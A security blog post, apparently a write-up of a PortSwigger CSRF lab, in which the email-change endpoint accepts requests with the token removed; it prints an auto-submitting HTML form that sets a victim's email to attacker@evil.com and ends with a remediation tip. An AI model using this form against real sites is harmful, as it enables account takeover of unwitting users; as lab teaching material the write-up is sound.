Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

CSRF where token validation depends on token being present

CSRF where token validation depends on token being present: This lab’s email change functionality is vulnerable to CSRF. • PortSwigger • CSRF • lab3, csrf

2022-11-242 tags
Tags

🎯 Objective

This lab’s email change functionality is vulnerable to CSRF.

Goal: Use the exploit server to host an HTML page that changes the victim’s email address.


🧭 Steps Taken

  1. Logged in using provided credentials:

    • Username: wiener
    • Password: peter
  2. Intercepted the email change request in Burp.

  3. Removed the CSRF token from the request to test validation.

  4. Observed that the request was accepted without the token.


📄 Exploit Payload

The following HTML payload was hosted on the exploit server:

html
<html>
  <body>
    <form action="https://target.site/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

📸 Evidence

Exploit working


✅ Result

  • Victim’s email address was changed successfully.
  • The absence of proper CSRF validation allowed the exploit to succeed.

💡 Key Takeaway

  • Removing or ignoring CSRF tokens exposes critical functionality.
  • Always implement server-side CSRF token validation bound to the user’s session.
Navigate

In this post

  1. 01🎯 Objective
  2. 02🧭 Steps Taken
  3. 03📄 Exploit Payload
  4. 04📸 Evidence
  5. 05✅ Result
  6. 06💡 Key Takeaway
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.